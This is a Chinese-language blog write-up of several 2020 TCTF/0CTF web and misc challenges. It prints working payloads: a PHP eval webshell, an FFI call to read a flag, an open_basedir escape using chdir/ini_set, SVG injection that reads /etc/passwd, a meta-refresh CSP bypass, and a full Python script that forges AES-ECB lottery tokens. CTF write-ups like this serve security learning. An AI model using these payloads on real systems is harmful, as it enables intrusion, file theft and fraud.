2020 TCTF/0CTF 部分wp

跟着 TD 打了一下 TCTF & 0CTF，基本0输出orz，给 TD 的大佬递 tea。

Web

easyphp

开局一个webshell，有 open_basedir 与 disable_functions 限制，普通方法都无法绕过。

可以用 glob + DirectoryIterator 列出根目录：

1
2
3
4
5
6
7
8
9
10
POST /?rh=%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%67%6d%6c%5d%29%3b HTTP/1.1
Host: pwnable.org:19260
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 91

gml=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');};
1
bin dev etc flag.h flag.so home lib media mnt opt proc root run sbin srv start.sh sys tmp usr var

发现 flag.h 与 flag.so，结合 phpinfo 中开启了 FFI，应该是用 FFI 调用 flag.so 中的方法。

尝试 FFI load flag.h，可以发现没有报500，说明成功加载。

1
2
3
4
5
6
7
8
9
10
POST /?rh=%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%67%6d%6c%5d%29%3b HTTP/1.1
Host: pwnable.org:19260
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 39

gml=$ffi = FFI::load("/flag.h");echo 1;

但是我们无法知道有什么方法，方法名是什么，也读取不了 flag.h，一直卡在这里。队里大佬开始 leak 内存来获取方法名，结果 leak 出了方法名：flag_fUn3t1on_fFi（我也不懂这些知识）。可以参考白泽的脚本：https://www.4hou.com/posts/p7BQ。

然后直接调用就好了：

image.png

发现很多队伍做出来了… open_basedir 中间坏了一段时间，应该是被人给搞了，大家都去直接读取 flag.h 了。

猜测可能有人打了 supervisor 的 php-fpm 来 getshell，进而改了 open_basedir。

noeasyphp

主办方不甘心，来了个复仇版，disable_functions 更加严格了，并且没有了 supervisor。

我们上个题的解法应该是预期解法，直接原样 leak 一下方法名，仅仅改了个方法名，然后getflag。所以题出来的时候我们直接把题秒了23333。

从flag来看，好像是有人打了 php-fpm，因为flag内容是 you can‘t use fpm now 之类的。

Wechat Generator

一个聊天界面，可以加内容与表情，可以截图。

加个表情，看一下发送的包：

1
[{"type":0,"message":"Love you!"},{"type":1,"message":"[pout]Me too!!!"}]

表情是中括号扩起来的，share 后查看图片路径：

image.png

1
http://pwnable.org:5000/image/fRszcH/png

把png改成html，不支持。改成 svg，可以正常显示，猜测这里使用imagemagick。改成htm也可以，其中表情处：

image.png

可以闭合引号进行 xss，但是 src 关键字被过滤了。

参考3月空指针公开赛：https://mp.weixin.qq.com/s/rMh-hABCdGpYpGqtFFiKOA

使用 xlink:href读文件，构造如下payload：

1
[{"type":0,"message":"Love you!"},{"type":1,"message":"[pout\"/><image href=\"text:/etc/passwd\" width=\"1000\" height=\"1000\"/> ]Me too!!!"}]

可以读取 /etc/passwd：

image.png

盲猜直接读取 /app/app.py：

image.png

访问：http://pwnable.org:5000/SUp3r_S3cret_URL/0Nly_4dM1n_Kn0ws

image.png

需要 alert(1)，但是有csp：

1
Content-Security-Policy: img-src * data:; default-src 'self'; style-src 'self' 'unsafe-inline'; connect-src 'self'; object-src 'none'; base-uri 'self'

使用 meta refresh进行跳转，meta被过滤使用双写绕过，构造以下payload：

1
[{"type":0,"message":"Love you!"},{"type":1,"message":"[pout\"/><memetata http-equiv=\"refresh\" content=\"0; url=http://*****\"></memetata>\"]Me too!!!"}]

image.png

服务器上是:

1
<script>alert(1)</script>

得到路径，换成htm后缀，提交：

image.png

lottery

分析题目，初始账户 30 个 coin，需要 99 个 coin 买 flag，花 10 个coin买彩票，得到的回报一般小于等于 10 个coin。

流程大体如下：

  1. 登陆账户，返回api_token；
  2. 点击买彩票，向 /lottery/buy 接口发送 api_token，返回 enc（加密的订单信息）。
  3. 向 /lottery/info 接口发送 enc，得到订单信息。（lottery的uuid，user的uuid以及得到的coin）
  4. 点击charge，向/lottery/charge接口发送 user的uuid、coin以及enc，服务端对enc解密，校验 useruuid，无误把解密得到的coin加到user uuid 对应的user上。

分析关键的enc，拿两次 buy 得到的enc对比，发现是 16 字节一组，一共 8 组，中间还有一些组密文相同，不难得出加密模式是 AES ECB模式。/lottery/info接口提供了 enc 解密的信息，我们可以保持一个enc不变，另一个enc每个分组分别替换成不变的enc对应的分组，依次对比解密信息的不同，可以发现user uuid涉及四个分组，从第四个分组到倒数第二个分组。

以 uuid 为 390e0a78-49ff-4264-8ddd-8b902319d189 为例。

1
2
3
4
第四组： xxxxxxxxxxxxxx39
第五组： 0e0a78-49ff-4264
第六组： -8ddd-8b902319d1
第七组： 89xxxxxxxxxxxxxx

我们有一个账户A，可以正常买彩票，如果我们找到一个uuid 前两位和后两位与账户A相同的账户B，那么我们可以用账户B buy 彩票，得到 enc 后把charge得钱的账户改成账户A（把enc第五组与第六组替换成账户A的密文），这样就把得到的钱转到A上了，并且买彩票用的是B账户的coin。多找几个这样的账户B，把钱都转到账户A上，就可以得到99个coin了。

我们需要爆破一堆 uuid 的前两位和后两位都一样的账户，然后把转到一个账户上。运气好的话大概需要爆五六个这样的账户。

爆破很慢… 采用多进程方式，脚本：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
import requests
from multiprocessing import Pool, Manager, Value
import random, string
import json
from base64 import *


def register(dict, now_num):
    user = "".join([random.choice(string.printable) for _ in range(5)])
    session = requests.Session()
    paramsPost = {"password": user, "username": user}
    headers = {"Origin": "http://pwnable.org:2333", "Accept": "*/*", "X-Requested-With": "XMLHttpRequest",
               "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36",
               "Referer": "http://pwnable.org:2333/index.html", "Connection": "close",
               "Accept-Language": "zh-CN,zh;q=0.9",
               "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
    response = session.post("http://pwnable.org:2333/user/register", data=paramsPost, headers=headers)
    data = response.content.strip()
    data = json.loads(data)
    uuid = data["user"]["uuid"]
    key = uuid[:2] + uuid[-2:]
    resp = session.post("http://pwnable.org:2333/user/login", data={'username': user, 'password': user})
    data = json.loads(resp.content.strip())
    api_token = data["user"]["api_token"]
    if key in dict:
        tmp = dict[key]
        tmp.append(api_token)
        dict[key] = tmp
    else:
        tmp = [api_token]
        dict[key] = tmp
    if len(dict[key]) > now_num["num"]:
        now_num["num"] = len(dict[key])
        print "now amount: %s,now api_token: %s" % (now_num["num"], dict[key])


def processPools():
    num = 10
    pool = Pool(processes=num)
    jobs = []
    manager = Manager()
    dict = manager.dict()
    now_num = manager.dict()
    now_num["num"] = 0
    for i in range(2 ** 16):
        job = pool.apply_async(register, (dict, now_num))
        jobs.append(job)
    pool.close()
    pool.join()


def charge(user, coin, enc):
    session = requests.Session()

    paramsPost = {
        "enc": enc,
        "user": user, "coin": coin}
    headers = {"Origin": "http://pwnable.org:2333", "Accept": "*/*", "X-Requested-With": "XMLHttpRequest",
               "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36",
               "Referer": "http://pwnable.org:2333/lottery.html", "Connection": "close",
               "Accept-Language": "zh-CN,zh;q=0.9", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
    response = session.post("http://pwnable.org:2333/lottery/charge", data=paramsPost, headers=headers)
    if "invalid" in response.content:
        print "error!"


def exp(api_token_list):
    account = api_token_list[0]
    other = api_token_list[1:]
    data = requests.get("http://pwnable.org:2333/user/info", params={'api_token': account}).content.strip()
    uuid = json.loads(data)["user"]["uuid"]
    data = requests.post('http://pwnable.org:2333/lottery/buy', data={'api_token': account}).content.strip()
    enc = json.loads(data)['enc']
    middle = b64decode(enc)[-64:-32]
    data = requests.post("http://pwnable.org:2333/lottery/info", data={'enc': enc}).content.strip()
    coin = json.loads(data)['info']['coin']
    charge(uuid, coin, enc)
    for api_token in other:
        for _ in range(3):
            data = requests.post('http://pwnable.org:2333/lottery/buy', data={'api_token': api_token}).content.strip()
            enc = json.loads(data)['enc']
            data = requests.post("http://pwnable.org:2333/lottery/info", data={'enc': enc}).content.strip()
            coin = json.loads(data)['info']['coin']
            tmp = b64decode(enc)
            new_enc = b64encode(tmp[:-64] + middle + tmp[-32:])
            assert len(b64decode(new_enc)) == 128
            charge(uuid, coin, new_enc)
    data = requests.get("http://pwnable.org:2333/user/info", params={'api_token': account}).content.strip()
    print data
    data = requests.post("http://pwnable.org:2333/flag", data={'api_token': account}).content.strip()
    print data


if __name__ == '__main__':
    api_token_list = ['s4XmpFIYOMnM3YvSRq5MvNSabOheYocT', 'p8wRiFb5r17EUBxC9BcAV2NwKlxY6EXE',
                      'jaJO0sOcyuU8GedKDTfOTTMsdA0GeXtW', 'GBRa6X6ZPM15Hrd15vZzNmwbswMsTcxL',
                      'V29GALnpgMFSjy5nYcGIm4Q3wWbaRE5L', 'GaI4LnuYXhA7oUos4hiTbTvnFs1v9DnP',
                      'HDfi2mG5n8j8pygZcbSiLyM7nrozjPxo']
    exp(api_token_list)
    # processPools()
    # charge()

首先运行 processPools函数爆破账户，大概爆到 7 个，差不多了。

1
2
3
4
5
6
7
8
 ✘ ⚙  2020 0CTF  python lottery.py
now amount: 1,now api_token: [u'dz9ilcIVnOCUbyUxZtUsDHRKBmqKTWYf']
now amount: 2,now api_token: [u'2KfQgLss4EuZLMP2iTttEWOvxq1pmLUH', u'SDZIRWRUicmv85Hckj2FxCumrisGKmxl']
now amount: 3,now api_token: [u'NAdG5IiRWlmxYm4wzjQqa1q8Xe5161S4', u'sfpKMPQ7tnvNC2WlvppGioIc4SCn6gKy', u'Fgj3zGX8NyFPCqlF3HloEfWdaonW3Mz8']
now amount: 4,now api_token: [u'Z2LezEeeKU9iaU8K0MhNV8R6UBKwYn7p', u'LE7f7JzgFHjefO1S0NAtlI0X1xXEzLRg', u'TZvfPzGPW03PlynxFCCFpDVTli2xcu4O', u'Nipjkdoz3hAne81ihDzM9REMtnplJUkh']
now amount: 5,now api_token: [u'Z2LezEeeKU9iaU8K0MhNV8R6UBKwYn7p', u'LE7f7JzgFHjefO1S0NAtlI0X1xXEzLRg', u'TZvfPzGPW03PlynxFCCFpDVTli2xcu4O', u'Nipjkdoz3hAne81ihDzM9REMtnplJUkh', u'0kH6ATi6o24iBUZHorJ1ArdV23GVJuMr']
now amount: 6,now api_token: [u's4XmpFIYOMnM3YvSRq5MvNSabOheYocT', u'p8wRiFb5r17EUBxC9BcAV2NwKlxY6EXE', u'jaJO0sOcyuU8GedKDTfOTTMsdA0GeXtW', u'GBRa6X6ZPM15Hrd15vZzNmwbswMsTcxL', u'V29GALnpgMFSjy5nYcGIm4Q3wWbaRE5L', u'GaI4LnuYXhA7oUos4hiTbTvnFs1v9DnP']
now amount: 7,now api_token: [u's4XmpFIYOMnM3YvSRq5MvNSabOheYocT', u'p8wRiFb5r17EUBxC9BcAV2NwKlxY6EXE', u'jaJO0sOcyuU8GedKDTfOTTMsdA0GeXtW', u'GBRa6X6ZPM15Hrd15vZzNmwbswMsTcxL', u'V29GALnpgMFSjy5nYcGIm4Q3wWbaRE5L', u'GaI4LnuYXhA7oUos4hiTbTvnFs1v9DnP', u'HDfi2mG5n8j8pygZcbSiLyM7nrozjPxo']

把 api_token 复制下来，运行 exp函数，一个账户可以转三次。

1
2
3
 ✘ ⚙  2020 0CTF  python lottery.py
{"user":{"id":538474,"uuid":"8f97310b-6784-41a0-8e1f-714266517dbd","username":"'\"*Lv","api_token":"s4XmpFIYOMnM3YvSRq5MvNSabOheYocT","coin":115,"created_at":"2020-06-29T08:04:30.000000Z","updated_at":"2020-06-29T09:03:55.000000Z"}}
{"flag":"flag{f1d6356a-4288-4a13-a28a-78da73328493}"}

PS：这种做法是换userid，也可以换 lottery 的uuid，这样只需要爆破uuid前两位的user了，更快也不用多进程了。

Misc

cloud computing

打开题目，看起来可以写一个 webshell：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

error_reporting(0);

include 'function.php';

$dir = 'sandbox/' . sha1($_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT']) . '/';

if(!file_exists($dir)){
  mkdir($dir);
}

switch ($_GET["action"] ?? "") {
  case 'pwd':
    echo $dir;
    break;
  case 'upload':
    $data = $_GET["data"] ?? "";
    if (waf($data)) {
      die('waf sucks...');
    }
    file_put_contents("$dir" . "index.php", $data);
  case 'shell':
    initShellEnv($dir);
    include $dir . "index.php";
    break;
  default:
    highlight_file(__FILE__);
    break;
}

不过 waf 有过滤，可以考虑用数组绕过，file_put_contents 第二个参数是数组时，会把数组内容拼起来，进行写入。

所以可以构造以下 payload：

1
http://pwnable.org:47781/?action=upload&data[0]=%3c&data[1]=%3f&data[2]=php eval($_POST[1]);

这样就写入了一个webshell，然后发现有 open_basedir限制，使用 chdir绕过。

1
error_reporting(-1);mkdir('sandbox/4a3499ebbdf052fa2413cf697e5164184c0d824d/gml');chdir('sandbox/4a3499ebbdf052fa2413cf697e5164184c0d824d/gml');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));

image.png

读取flag，发现一大堆乱码，好像是个 img，转换成 base64读取，本地拿 foremost 跑一下：

1
2
3
4
2020 0CTF  foremost 0ctfmisc
foremost: /usr/local/etc/foremost.conf: No such file or directory
Processing: 0ctfmisc
|*|

出了个图片，里面有flag。

image.png

cloud computing v2

复仇版，ban了很多，chdir也不能用了，甚至 ini_get都不能用了，看样子上个题应该也是非预期。

file_get_contents(‘127.0.0.1’) 一下，发现80端口有个别的web服务。

image.png

这个agent，想起来v1的时候，根目录有个 agent 文件，拉下来，是个elf。

go写的web逆向，装了个 IDAGolangHelper 插件：

image.png

逆不动了… 有时间的话找个逆向手补一波。

赏

扫一扫，分享到微信

微信分享二维码

阅读数: 次   

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

<div id="js-aboutme">NISL@THU 20级硕士生<br><a href="http://netsec.ccert.edu.cn/people/gml20">实验室个人主页</a><br>CTFer in <a href="https://redbud.info/">Redbud</a> and <a href="https://www.tea-deliverers.cn/">Tea Deliverers</a> <br>关注 Web 安全、IoT 安全、协议安全等</div>